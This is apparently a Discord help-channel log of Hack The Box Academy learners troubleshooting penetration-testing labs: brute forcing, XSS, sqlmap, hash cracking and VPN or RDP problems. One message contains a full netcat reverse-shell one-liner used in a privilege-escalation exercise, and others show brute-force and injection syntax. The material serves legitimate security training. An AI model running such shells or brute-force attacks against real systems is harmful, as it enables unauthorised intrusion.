โ”Œโ”€[eu-academy-6]โ”€[10.10.15.69]โ”€[htb-ac-745983@htb-ul6aspltvo]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$

#

I am stuck here now

final shale
near night
#

correct !
But I am using the instance of pwnbox

#

isn't should be there by default ?
I mean the usernames and passwords ?

#

aaaaaaaah

#

I found an attachement

#

to download

#

Password-attacks.zip

#

Yea !
It works finally

#

Thanks @final shale

fathom pendant
#

You'll still need to install or download the occasional wordlist here or there

near night
#

Yea

cloud urchin
#

Make suren to post spoilers about the module

vernal pebble
cloud urchin
vernal pebble
cloud urchin
#

you can ask questions without spoiling content

vernal pebble
cloud urchin
#

as for your question, maybe try getting another page

vernal pebble
#

So, yesterday i found the good payload to use on vulnerablesite to callback the script from exploitserver and i got something back on the exfiltrate server. I got errors, something regarding Network

vernal pebble
cloud urchin
#

try again

vernal pebble
#

I see the hint about not using any port, but it says only about the exfiltrate server. Should I use the port in both other 2 URLs, but not on exfiltrate, or should I not use ports at all?

willow wasp
#

I finished AEN yesterday, have some problems maybe someone encountered them as well:

  • For some reason, I had some troubles with ligolo-ng when it came to file transfers? Receiving reverse shells were no problem, but I couldn't get anything when attempting file transfer from the windows box using certutil, curl, etc
  • I had to take multiple hints from the questions during the process, would dante be a good additional practice to refine methodology for cpts?
weak tangle
vernal pebble
cloud urchin
fallen merlin
#

sup guys

rustic sage
#

Is this starting over?

IMG_20241110_021044.jpg
cloud urchin
#

no idea what you're doing

rustic sage
#

Brute forcing ftp

cloud urchin
#

when asking for help make sure to include the module/section and question you're stuck on

dense tundra
#

Looking for a nudge on the Linux privesc skill assessment. For flag 4, i have the creds I think I need but they dont seem to work when logging into the application. I dont think im missing anything, Im not sure if it is a lab issue or not?

viral snow
#

Darn it to biscuits! I'm in Documentation and Reporting, I cannot get tmux with me. I'm following the steps as outlined in the module, but it's not saving, and I can't even get the panes to split. What do?

rustic sage
#

I always got the same problem with brute forcing

cloud urchin
#

impossible to tell since you didn't include any info

rustic sage
#

Uhm okay, attacking common services - medium lab, I've tried to brute force all services which were: ssh, sftp and other 3 which I didn't brute force, . Basically brute force tools run for a ton of time and don't discover credentials with wordlist that do contain those credentials. I used hydra with pws.list file for password list and users.lisr (given in the resources of the module) for ssh and Medusa with the same files as hydra but didn't find anything so I tried with rockyou and users.list and its still running after more thsn 2 hours. Hydra for ssh has been running close to two hours

#

But it's not the first module that this happens, it happens a lot with all modules, it either works well immediately or sometimes it runs for hours on end and doesn't find anything or maybe it does but doesn't recognize the -f flag. Hydra is mostly like this, netexec and Medusa work better but happens with those too. The screenshot is of Medusa on sftp

cloud urchin
#

sounds like you're doing something wrong then it won't take nearly that long to brute force. also how are you so sure they contain the user/password if you don't have the user/password?

rustic sage
#

I searched on the internet

cloud urchin
#

could still be wrong info

#

the lists either don't contain the info, or you aren't using the right syntax, or maybe not even supposed to brute force at all. i'm not really sure since i didn't make notes for the medium lab.

rustic sage
#

Idk maybe but it's not the first this happens, I remember like in password attack module the password was contained in the resources but it still didn't find it after running for so long

cloud urchin
#

yeah password module takes the longest by far out of any, still less than 30 min

#

generally bruting is going to take ~5-10 mins max

rustic sage
#

I think I remember the syntax

Hydra -u user.list -p password.list -h IP -f - vv

#

Idk I think it's something like that

#

I'm abt to sleep

cloud urchin
#

yeah that's the wrong syntax for lists, may want to review

cloud urchin
#

i just completed the section, you may want to enumerate more

hard phoenix
#

I'm on the Web Archives section of the Information Gathering - Web Edition module and every time I try to look at the snapshot of hackthebox from Aug 8 2018 it redirects me to Feb 10 2020. I don't know what to do

cloud urchin
#

working for me, try another browser?

hard phoenix
#

Does that on Firefox, Safari, and Chrome

#

Can't get to Aug 8 2018

fathom pendant
#

That's your problem

hard phoenix
#

ohh

#

what is it

fathom pendant
#

Think about where HTB is based, it's a country code

hard phoenix
#

Got it, thanks!

fathom pendant
#

Utilize your 2 braincells competing for 10th place out of 8

hard phoenix
#

dick

fathom pendant
#

Proudly

shut orchid
#

Morning

#

Who are you trying to find?

#

Shall we play a Game?

fathom pendant
shut orchid
#

Wauw so hostile

#

You believe Eye have time to read that bullshit?

fathom pendant
#

If you wanna participate in the server, it takes 5 minutes at most

shut orchid
#

Tell me more

fathom pendant
shut orchid
#

I tried

#

It looks like a gen chat... Else invite me to one

#

#Cicada3301

#

Hack the Box

#

LuLz

#

It allows me to chat... So now it's a gen chat...

#

That was so easy...

fathom pendant
#

Not how that works

#

<@&861185840277487616>

shut orchid
#

You don't make the rules... Eye do...

hard phoenix
#

Watch out heโ€™s gonna take out his fedora!

fathom pendant
#

No, HTB does

shut orchid
#

Hack the Box

#

Works for?

fathom pendant
#

It's HTB server, so it's their rules, shrimple as

dark hedge
#

@shut orchid this isn't general chat, please move your conversation to #general

shut orchid
#

Pls move me to general

#

I don't understand your rules and how this works... So give me access to chat in general... Easy as that

#

So how far along are you by cracking the puzzle?

#

Liber Primus

#

Liber Primus can be found in lodge nmbr?

#

This takes forever...

#

Hack the box...

dark hedge
shut orchid
#

Think outside of the box

#

Your welcome doesn't feel me welcomed...

dark hedge
#

any more off-topic chat will result in a mute

shut orchid
#

Bans, Censorship and Muting...

Maybe that's a Q...

#

Eye think it's funny... Hackers that can't hack the box...

hardy plover
#

Hi

#

Beginner here.
The module is XXS in bug bounty path.
What we are learning is how to identify vulnerable parameters. I tried with xsstrike and found some reflections or payloads

#

They all basically starts with โ€˜> , i understand that the tag is being closed first, as parameter is in <img src= >

#

Iโ€™m just trying to understand how these or any payload works

#

When i input the payload in the field nothing happens, it just get inserted as i can see in page source

#

All these payloads have () in common, does it mean that i have to insert js code in parentheses?
For example if i want it to pop with 1,
Do i have to put
<script>alert(1)</script> in parentheses?
If not how do i execute it?

#

Again im a beginner and your help is much appreciated ๐Ÿ˜Š

normal sand
normal sand
hardy plover
#

Do i put the <script> tags after the payload?

normal sand
hardy plover
#

Like append the payload with the tags

normal sand
hardy plover
#

Xsstrike gave me a payload declaration that a parameter is vulnerable

#

What does it mean?

#

Does it mean that only that payload would work?

normal sand
normal sand
hardy plover
#

So payload generation is just the sign that the parameter is vulnerable. Thatโ€™s all

normal sand
hardy plover
#

But HTB academy suggests me to input the js code โ€œwithโ€ the payload

normal sand
#

You can then craft a payload and perform an attack based of the type of XSS.

normal sand
#

I'm assuming you're in the part of the module where they're just introducing the types of XSS and automated XSS discovery.

#

The next part is XSS attacks.

hardy plover
normal sand
# hardy plover That is correct

Just continue on, they'll slowly introduce the attacks to you. As long as you've understood the basics they've explained, you'll be fine with the attacks.

hardy plover
#

Thanks, itโ€™s just the they suggested to insert the payload along with the script

normal sand
hardy plover
#

Basically payload is just a sign

normal sand
hardy plover
#

Go work with this parameter

normal sand
#

Ah, yeah, you could say that.

hardy plover
#

Well, when i insert <script> tags, the page simply renders it

#

It doesnโ€™t get executed

#

Any idea?

#

Like it shows what I inserted on the page

normal sand
hardy plover
#

Itโ€™s the phishing section
ServerIp/phishing

#

I input the payload, nothing happens. Just gets consumed by the image tag and i see it in page source. No pop up

#

I input the js cosd instead of the xsstrike payload. It just prints it on the web page

#

No execution

normal sand
hardy plover
#

Yes

#

What I really need to understand is that, how to execute alert() on this page. Xsstrike gave a payload. I know where itโ€™s inserted.
If you could just tell me how do i make it pop up with alert, it will be a huge help

#

And i would know everything i wanted to know about it for now

normal sand
hardy plover
#

Yeah

#

It just gets printed on the screen

#

Well i think i should try harder, and come back ๐Ÿ˜Š

#

Thank you for time

#

Would it be okay if i add you?

#

As a discord friend

normal sand
normal sand
hardy plover
#

Cool thanks โ˜บ๏ธ

eternal vigil
#

is anyone here who have completed password attacks -easy self assessmnet i have a doubt i solved it but i highly doubt its right approach

obsidian spear
#

hi all, im russian. who can to hack a website's databases?

normal sand
eternal vigil
#

can you check your notes please?

normal sand
eternal vigil
normal sand
eternal vigil
#

yes sure please

normal sand
#

That's what I did. Also, delete this message.

normal sand
eternal vigil
#

okkk thankyou thats fair fingerguns

olive slate
#

Is anybody able to help with Introduction to NoSQL Injection > Skill Assessment 2

acoustic owl
olive slate
acoustic owl
fervent iris
#

the File Inclusion: Automated Scanning question was solved by fuzzing page parameters in search for lone parameters, not linked to any form nor user selection which is ?view=..

so the question is: how does such a case happens in real life scenario? i can't think of a web application case where there is URL based parameter isn't linked to at least user selection functionality or something..
does anyone knows a web application case where it has such feature?

visual umbra
#

I sit a lot at the academy, but last Friday I started doing boxes, so of course I started at the starting point and have now sat with it all weekend. Very fun, very educational. Perfect for interspersing what you read theoretically at the Academy with real exercises.

limpid hemlock
#

Hey could someone help me im doing the atacking enterirze module and in there lateral movement & pric esc section im having trouble using crackmap exec with proxychains

#

I have an ssh connection to the internal machine

#

Any help?

fathom pendant
#

I suggest setting up a port forward of some form instead so you can be less restricted

shut orchid
#

Miauwdy

iron lintel
#

Someone finished the SOC course on hack the box?

analog dock
#

Donโ€™t ask to ask

limpid hemlock
#

Hey i cant seem to run crackmap exec here any help

acoustic owl
spring lichen
#

I am having some issues with Introduction to Digital Forensics .
#Practical Digital Forensics Scenario

I think i just dont understand what the question is asking. Because i think i have found all there is to be found. But not a smoking gun kinda evidence on question 1

iron lintel
acoustic owl
# iron lintel ?

You are asking a question that you can answer yourself. But you don't want to know whether someone has completed the course. You want to know something else, right?

acoustic owl
iron lintel
limpid hemlock
#

Hey

#

Any help why this is not working ?

fathom pendant
#

Use netexec

median gale
final shale
#

Dear HTB team. Please update the academy modules to use nxc because all of the "just copy and paste" students are having difficulties ๐Ÿ™‚

limpid hemlock
fathom pendant
#

Netexec syntax is the same as cme

limpid hemlock
#

To list shares and all is different right

#

Here in crackmap it uses a module spider plus is that usable in netexec also

fathom pendant
#

Same syntax

limpid hemlock
#

Oh cool it worked

acoustic owl
fathom pendant
#

They'll likely do a batch update

limpid hemlock
#

I got a json file but i cat it and its empty

obsidian scroll
#

Hey guys,
For a module I am required to use sqlplus tool to connect to an oracle database, but it returns an error sayinf command not found .
I tried adding the path but the tool only exists in metasploit folders, nowhere else.
And even after adding it to the path the error is not solved

#

Help please

weak tangle
# obsidian scroll Help please

Did you reload your configuration after updating your path? The changes applied to things like .bashrc will not take effect immediately and will require a terminal restart.

obsidian scroll
#

I did

fathom pendant
#

Did you follow the install script from the section?

obsidian scroll
#

I did

fathom pendant
#

You don't need to copy/paste it here

#

Run them each line by line

obsidian scroll
#

My bad

fathom pendant
#

Sometimes the script breaks

obsidian scroll
#

Okay lemme give it a shot

pine totem
#

Hey guys , I need some help in this question ( Web Requests ) pls
Use burp intruder to fuzz for .html files under the /admin directoryุŒ to find a file containing the flag.

I just don't know which word list to use, I am using Kali vm.

median gale
fathom pendant
median gale
fathom pendant
#

No

#

I purged it from my brain

gray yacht
finite abyss
#

I am stuck on Whitebox pentest module final assessment, question related to patching,
The Assessment requires me to submit code in a certain way.

I have sanitized and validated type and length variables inside generatePassword function.

Then I am stuck at this
Original Purpose failed message

image.png
limpid hemlock
#

Hey i got a sql express backup.ps1 file i used get command and it showed it got the file but cant find it anywhere on my pwn box

pine totem
#

Hey guys , I need some help in this question ( Web Requests ) pls
Use burp intruder to fuzz for .html files under the /admin directoryุŒ to find a file containing the flag.

I just don't know which word list to use, I am using Kali vm.

Web Requests/Web Fuzzer/ Burp intruder

fathom pendant
#

Use a wordlist suggested by the example

median gale
fathom pendant
rough comet
#

I just wanna say , the amount of knowledge , quality content of some modules , is impressive . Still working on bloodhound module . 31 different DACL misconfigurations/ attacks . Amazing

rustic sage
#

Can someone help me
Pls dm

fathom pendant
rustic sage
#

Okay

median gale
fathom pendant
#

No

#

Fully Qualified domain name

median gale
fathom pendant
median gale
#

And how do you find the FQDN? Dig right?

#

Dig for each of the subdomains?

fathom pendant
#

Fqdn would be like the subdomains and vhosts

#

The x.whatever.tld

#

Are a.b.whatever.tld

#

https://en.wikipedia.org/wiki/Fully_qualified_domain_name

Fully qualified domain name

A fully qualified domain name (FQDN), sometimes also called an absolute domain name, is a domain name that specifies its exact location in the tree hierarchy of the Domain Name System (DNS). It specifies all domain levels, including the top-level domain and the root zone. A fully qualified domain name is distinguished by its lack of ambiguity in...

eternal vigil
#

Heyyy i am on Password Attacks - Med module

|| i ran a nmap scan and smb and ssh are open ||
but be it hydra or netexec or crackmapexec(which doesnt work now) nothing is working and i am stuck on the brute forcing section

quartz cloud
#

Hey ! Could someone help me pls, im having issue with the web services exercice of Login Brute Force module. But im pretty sure my commands is good.
Here the host : ||deleted*|| and the command i use : ||deleted*||( try some other ports aswell, same result)

eternal vigil
#

can anyone please put me upto a hint for what i am doing wrong ?

eternal vigil
quartz cloud
#

but with nmap i see it

eternal vigil
#

try not specifying port

#

or run a nmap scan to see what ports are open

quartz cloud
#

Already try

#

reset the target 2 times already

eternal vigil
quartz cloud
#

i dont get why it doesn't work

fathom pendant
#

not one of the other ports, as this is a public IP:PORT

#

when HTB gives you a public_IP:PORT your ONLY scope is the given port

quartz cloud
fathom pendant
#

then that's an error with your search pattern, not with the port

eternal vigil
#

he prolly used ftp -n 22

#

thats why the regex error

fathom pendant
#

idk i never used medusa

eternal vigil
#

try ssh once it will be slower but work

fathom pendant
#

never needed to

eternal vigil
quartz cloud
eternal vigil
#

it wants creds of ftpuser

fathom pendant
#

also please don't go back and delete your syntax

eternal vigil
#

you need to brute force ssh session only

fathom pendant
#

it's actually fairly annoying

eternal vigil
fathom pendant
eternal vigil
#

also marcielle can you please help me w my issue

#

it will be a huge help

quartz cloud
#

Srry, think its was better to remove

fathom pendant
#

โœจ no โœจi only hopped in here for a sec

eternal vigil
eternal vigil
fathom pendant
#

tbh it's been a minute for this section

eternal vigil
eternal vigil
quartz cloud
#

Not getting error so i guess this is the point

fathom pendant
eternal vigil
#

did it

fathom pendant
#

the answer is revealed under smb

eternal vigil
#

it just aint working at all like netexec says every pass is correct โœจ

#

and hydra aint running it against smb

fathom pendant
#

hydra is honestly dumb against smb

eternal vigil
#

real

fathom pendant
#

but netexec should get it; genuinely don't see why it wouldn't

eternal vigil
#

it legit says every pass is correct i am fairly stuck

fathom pendant
#

try resetting the target or contacting support

normal sand
#

@eternal vigil I was able to get creds with CME

eternal vigil
#

also crackmap goes in with throwing 100 errors and then says first is correct which is not

fathom pendant
#

CME and NXC are virtually the same

fathom pendant
normal sand
eternal vigil
eternal vigil
normal sand
eternal vigil
normal sand
#

Maybe just stick with netexec.

eternal vigil
fathom pendant
eternal vigil
fathom pendant
#

i just gotta spend the day catching back up on schoolwork that's all

#

got several chapters to "read" and answer questions on

#

@eternal vigil did you try that password?

#

and user?

normal sand
#

You're on the right path from that screenshot I just saw @eternal vigil

fathom pendant
normal sand
#

Remove that.

fathom pendant
#

your screenshot showed a different username

#

but the right password; if that's consolation

normal sand
fathom pendant
#

i believe if you do --shares at the end it might help determine false positives

#

but i could be wrong

eternal vigil
#

yup and guess what it is the first user and pass on lists and if i ask netexec not to stop it says everything is correct ๐Ÿ˜ญ

fathom pendant
#

that's why I say KISS

eternal vigil
fathom pendant
#

Keep it simple silly

eternal vigil
#

i mean i know the user i need to use and you told me the pass ๐ŸŒš but i wanna know the correct way

fathom pendant
#

i mean tbh i would have just checked it on the first crack and just gone "god dammit"

eternal vigil
fathom pendant
#

it's not the one you copied, the screenshot you had earlier showed a different username

pliant coyote
normal sand
eternal vigil
#

uhhh ok maybe i am trying to establish a connection wrong then ig ?

normal sand
#

Unfortunately I didn't save my command, for some reason, I sprayed that single password across all the users and got a bunch of positive in my notes.

eternal vigil
gray yacht
normal sand
#

I don't remember why I chose that password to spray with though. However, in my notes, it seems like I only saved part of the output, so I must've tried multiple passwords. I must've used some flag to try one password at a time across all users before moving to the next one (unless it does that by default).

eternal vigil
normal sand
eternal vigil
eternal vigil
gray yacht
eternal vigil
#

sure

#

DM'd please check

pliant coyote
fathom pendant
#

I realized the issue

#

You're way overthinking it

normal sand
# eternal vigil sure

If you figure out why multiple users are a success, please let me know the reason.

fathom pendant
#

Vantas i can dm you i know what's going on

normal sand
fathom pendant
#

It's laughable simple

eternal vigil
fathom pendant
#

It's a very basic thing with SMB itself

fathom pendant
normal sand
fathom pendant
eternal vigil
fathom pendant
eternal vigil
#

yes please do

obsidian scroll
#

Are there any better ways for cracking a hash ?
In this module (IPMI footprinting in Pentester Path) , I retrieved the hash and am using hashcat to crack it.
It has an estimated duration of 6 days ๐Ÿ™‚ .
Please help

fathom pendant
#

well it shouldn't take 6 days

#

it sounds like you're trying to use the rockyou.txt

#

instead of the provided footprinting wordlist

#

from the resources button

obsidian scroll
#

I should use that list here as well ?

fathom pendant
#

yes

obsidian scroll
#

Alright let me try.
Thanks marcie

fathom pendant
#

typically if you're given a wordlist for the module, you use it for the whole module

obsidian scroll
#

Yes alright.

uneven carbon
#

Plz i need help

fathom pendant
uneven carbon
#

Az

fathom pendant
#

this isn't a hacker4hire server

#

English only server as well

uneven carbon
#

English kind of book

#

My english is very bad

#

Srry

storm elk
lusty thicket
uneven carbon
#

Ok

storm elk
#

He left

#

Thanks @fathom pendant

#

(For pinging)

reef pecan
#

sqlmap -u 'http://SITE:PORT/case3.php' --cookie='id=2' why does it say there are no parameters found? I thought it would automatically identify id as an injectable?

fathom pendant
#

id=*

reef pecan
#

I see. It sometimes can identify areas to inject automatically, when can I rely on sqlmap for it to be the case?

obsidian scroll
#

How do i make a wordlist containing words in small case, appear in upper case while bruteforcing with hashcat ?

spring lichen
#

just use cyberchef

obsidian scroll
#

Cyberchef is no help decoding IPMI hashes.
I am using Hashcat to crack this hash i obtained.
It is from the IPMI module in Footprinting Pentester Path.
The given wordlist is what i used and I could'nt crack it.
How do i do this ?

spring lichen
#

recepie for taking lowercase to uppercase,

obsidian scroll
#

I converted the wordlist to uppercase and tried inputting that into hashcat but it still didn't work

#

Yes mate, thanks for that. I got uppercase within a sec

spring lichen
#

Ok ๐Ÿ™‚ Then i am unsure if i can help anymore, best of luck ๐Ÿ™‚

storm elk
#

What about the t flag? This will toggle the case of all characters.

obsidian scroll
#

Toggling didn't help

#

I thought i couldnt get the hash because my wordlist is in lower case and the plaintext might be case sensitive.
But that wasnt it

#

Even with an uppercase list or mixed list

#

I couldn't crack the hash

rustic sage
#

In attacking common services medium lab there should be 6 open ports right? I ran nmap multiple times and I still only get 5

compact matrix
#

im having an issue with the skills assesment from information gathering, I am on question 3 What is the API key in the hidden admin directory that you have discovered on the target system?
I am trying to gobuster vhosts but I keep getting false positive results and I tried multiple wordlists

tranquil axle
#

sometimes blackscreen is just screensaver, have you tried pressing enter on it?

#

did rdp work in other modules? you can try resetting the lab or using the pwnbox in browser that should have everything preinstalled

compact matrix
cloud urchin
#

do you have the pwnbox powered up at the same time you're on the vpn?

cloud urchin
#

yeah they use the same IP

#

you don't want to run them both at the same time, it'll cause connectivity issues like you described

compact matrix
#

someone pls help im going to lose my brain

finite violet
#

I'm having an issue where RDP won't stay connected for more than 3 minutes via Windows using the VPN, requiring to shutdown and restart openvpn every time in order to reconnect. and the VPN connects from inside VM of Parrot, but unable to ping the target machine or RDP to it.

#

tho i can ping the targets gateway

cloud urchin
finite violet
#

nope

cloud urchin
#

then what do you mean "the vpn connectgs from inside the vm of parrot"

finite violet
#

i've been trying to avoid using the in browser boxes ebcause theyre nearly unusable for me

cloud urchin
#

sounds like you're using the vpn with parrot

finite violet
#

im running parrot from VMWare

cloud urchin
#

ok

#

try killing the vpn sudo killall -9 openvpn, then terminate the target. re-download a fresh vpn file (tcp, and possibly try another reason.) after that on the page where you spawn the target press CTRL+SHIFT+R, respawn the target, reconnect to the vpn, wait 3 mins and try again

finite violet
#

no dice.

#

i can connect to VPN via windows though. but the RDP connection only stays live for a about 3 mintues then i have to reset the vpn

cloud urchin
#

did you try another region

#

also, are you using xfreerdp?

finite violet
#

both EU and US

#

yes, though i can't even ping the target system

cloud urchin
#

there wasn't enough time for you have done what i mentioned on both regions

finite violet
cloud urchin
#

that doesn't look like a target ip to me

finite violet
#

thats its gateway

cloud urchin
#

seems like something wrong with your vm then

finite violet
cloud urchin
#

you're on 10.10.15.x... and pinging 10.10.14.x

#

oh i see

#

yeah idk, something wrong with your vm maybe.

finite violet
#

its the same on my host machine

#

makes no difference

cloud urchin
#

ok in that case shut down the VM, open an administrator command prompt in Windows and type netsh i i r r and then netsh winsock reset then reboot your computer and try again

#

i think it's something with your vpn file, it shouldn't ping the x.x.14.x if you're on x.x.15.x

#

make sure to follow all the instructions precisely, kill the vpn, delete your vpn file, regenerate a new tcp VPN file in a whole new region (do these steps after the previous windows commands i gave)

vernal elk
#

Any reason the RDPs on the AD module almost always show a black screen when trying to connect via xfreerdp using openvpn?

image.png
cloud urchin
vernal elk
#

??? it worked what, can you tell me why?

cloud urchin
#

because the screen was asleep, you need to wake it up

vernal elk
#

Wild, thanks i appreciate it, was getting real frustrated it

sour meadow
#

heyy i hope everyone doing fine , i have question , does the modules open with student subscription get locked after the memebrship ends ?

cloud urchin
#

Yes, with the exception that if you finish the module entirely you get to keep it unlocked forever, even if they update it.

sour meadow
#

alr , thanks mate

terse sedge
#

I'm in "getting started nibbles privilege escalation", last question. When trying to run the monitor.sh file, I get 'unknown': I need something more specific. /home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found /home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found /home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found

cloud urchin
#

looks to me like you're not running it correctly or the script has some problems

#

if you didn't touch the script it's probably not being ran correctly

terse sedge
#

I'm running: sudo /home/nibbler/personal/stuff/monitor.sh - or sudo bash /home/nibbler/personal/stuff/monitor.sh

#

I didn't alter the script, I just appended the reverse shell that is in the directions.

#

Or sometimes it asks me for a password.

cloud urchin
#

well if you appended the shell you did modify it.. what was the command you used?

terse sedge
#

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.197 8080 >/tmp/f' | tee -a monitor.sh

cloud urchin
#

maybe look at the script on lines 26, 36, and 43 to see what it's doing

terse sedge
#

Just some if statements, but why would the module contain a broken script?

cloud urchin
#

i don't think it does

#

i don't know the login details to go look myself

#

did you make a backup copy of the file like the section said

terse sedge
#

yes

cloud urchin
#

maybe try restoring it and trying again

#

also did you have netcat listening just in case the shell actually worked anyway?

terse sedge
#

I did that, no difference

#

yes, I have a listener going

cloud urchin
#

alright i just did it, works fine for me

#

i'm guessing you didn't create the file correctly, it's only a one-liner

terse sedge
#

You want to see the entire code of the file?

cloud urchin
#

it should only be one line. the line you echo'd into it when you created it

#

so sounds like you didn't create it properly with the echo command

terse sedge
#

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.197 8080 >/tmp/f' | tee -a monitor.sh

cloud urchin
#

right, so the contents of monitor.sh is only that line you echo'd in right?

terse sedge
#

No, that line is just appended to the end, all the previous code is still there.

cloud urchin
#

that's your problem

#

you don't need anything other than the code you echo'd in

#

so go into /home/nibbler/persona/stuff, then delete monitor.sh if there's something in there, create the file with that echo command you showed, chmod +x the file to make it executable, then run it with sudo

terse sedge
#

The module just talks about appending to the end of it

cloud urchin
#

you could, but the script itself doesn't seem to be working. plus there's no file in there to append to.

terse sedge
cloud urchin
#

so rename it to monitor.sh.backup or something

#

then just make your own file

midnight kindle
#

Hi everyone, I am stuck in FOOTPRITING module , chapter SMTP. question 2 asks - + 1 Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.
HINT : On systems usernames are often named after the employee's name. We recommend to use the Footprinting-wordlist provided as resource. Remember that some SMTP servers have higher response times.

Firstly, it never taught how to perform bruteforcing, secondly , i am not able to find the provided wordlist.

Can someone please help me out.

Thanks

cloud urchin
#

welp nm, they don't mention that tool, but it's a built in tool with Kali

#

it's also mentioned in a couple other modules if you've done them, i think attacking common services

midnight kindle
#

thanks, will give it a look now.

i am following cpts module. and foorprinting comes before attacking common services module...

#

that is to check signle user not in a brute force method.

cloud urchin
#

did you do attacking common services? it's mentioned there

#

it does work to brute users based off a list, use the list in resources

midnight kindle
#

i am following the modules in order , CPTS

cloud urchin
#

alright, well you can manually do it or search for a tool that does it

midnight kindle
#

i checked hydra but it asks for password list while smtp server is connected via telnet and it never asks for a password....

naive hatch
#

Hi i want one game hacked can sb help

cloud urchin
naive hatch
#

where

cloud urchin
#

on the academy site

naive hatch
#

Can i hack monopoly go i want to hack that game so bad

cloud urchin
naive hatch
#

Thank you but is it possible to hack monopoly go

cloud urchin
#

is it 'possible'? Sure, anything is possible

#

but again, that's not what this discord is about

naive hatch
#

I understand

naive hatch
cloud urchin
naive hatch
#

But im no hacker

naive hatch
midnight kindle
cloud urchin
midnight kindle
#

thank you โค๏ธ

terse sedge
#

@cloud urchin So that finally worked. Wow, they should update the instructions.

cloud urchin
cloud urchin
midnight kindle
fathom pendant
eternal vigil
#

hey everyone i am not able to rdp into a session given in Pass the ticket of the password attacks even tho username password and ip all are there , all it is doing is throwing errors , so i tried ssh too but naah no luck there might be a problem with the given target , i am not really sure so asking here if its me or the target ?

snow briar
#

can you ping it?

eternal vigil
cloud urchin
#

are you connected to the vpn?

#

also it says right there to RDP, why are you using ssh? try rdp

eternal vigil
#

yesss i can ping sorry i did a typo

eternal vigil
eternal vigil
cloud urchin
eternal vigil
#

xfreerdp /v:10.129.96.144 /u:Administrator /p:AnotherC0mpl3xP4$$

cloud urchin
#

the password contains some special characters which the os interprets a different way, try wrapping the password in single quotes 'like this'

eternal vigil
#

oh yea makes alot of sense my bad thankyou

golden dragon
#

Hello I'm stuck in AD skill assesment 1, question 6 Submit this user's cleartext password.
got hash but can't cracked

eternal vigil
cloud urchin
cloud urchin
eternal vigil
#

i ran the same command again in new session and it worked

#

thankyou

golden dragon
cloud urchin
midnight galleon
sacred gull
cloud urchin
sacred gull
#

Ahhh okay

#

It could be that it is stored on the dc in plaintext and you need pth to get into the DC, but I admit that is a big stretch

golden dragon
midnight galleon
golden dragon
#

I know, but I coudln't found anything!

cloud urchin
#

probably shouldn't be giving direct answers for skill assessments

midnight galleon
cloud urchin
#

the skill assessment question asks for the cleartext pass.. there's a way to find it. giving the answer away isn't good.

#

try to nudge in the correct direction..

#

its a skill issue

midnight galleon
cloud urchin
#

no its not

#

the whole point is to find it yourself

midnight galleon
#

if u are stuck for days on it, spending more time isn't time effecient

cloud urchin
#

he was trying to crack it..

#

which isn't the way to get it

midnight galleon
#

esp if u r on the last step

cloud urchin
#

giving away the answer isn't the right thing to do period

midnight galleon
#

again, that isn't even the direct answer, u still need to see the same output, my suggestion was just a cleaner way

golden dragon
cloud urchin
eternal vigil
#

IT WORKED NORMALLY RESPAWNING THE TARGET sadglas

eternal vigil
#

HOW IS PASSWORD ATTACKS 8 HOURS ONLYYY???? pepehands

rustic sage
#

Basically all modules take much longer than it's written at least for me

cloud urchin
#

You can just ignore the time that's listed, those are just estimates and it's going to be different for everyone for each module.

#

It really doesn't mean anything at all, what matters is absorbing the content and understanding it all.

eternal vigil
obsidian scroll
#

Help me crack this hash someone !

#

I used hashcat john n what not

#

Can i paste the hash ?

acoustic owl
obsidian scroll
#

IPMI section, Footprinting module from Pentester Path

fathom pendant
#

Did you use the wordlist from the module?

acoustic owl
obsidian scroll
obsidian scroll
#

I did

karmic dirge
#

Some of these modules are so frustrating, Bleichenbacher & DROWN one seems like its built just to waste time. Takes ages to run the attack and you can do other modules while it runs.

red shuttle
#

hi! got this for cybernet secure
have you solved this issue?

final shale
#

Or something happened that the AP unlocked ๐Ÿ˜„

upper haven
karmic dirge
#

There was no option to show the required key to decrypt the tls stream

upper haven
karmic dirge
upper haven
# karmic dirge Thanks.

In the meantime I updated the question. You should be able to obtain the PMS in the hint now ๐Ÿ™‚ Please let me know if this solved the issue

fathom pendant
solar zodiac
#

hey guys I finished the intro to whitebox pentesting module, but am going back over it and something isnt making sense to me

#

in the http response injection part, I can't wrap my mind around why the single quote is enclosed in backticks

#

it causes the string to have an odd number of single quotes... excluding the one that gets commented out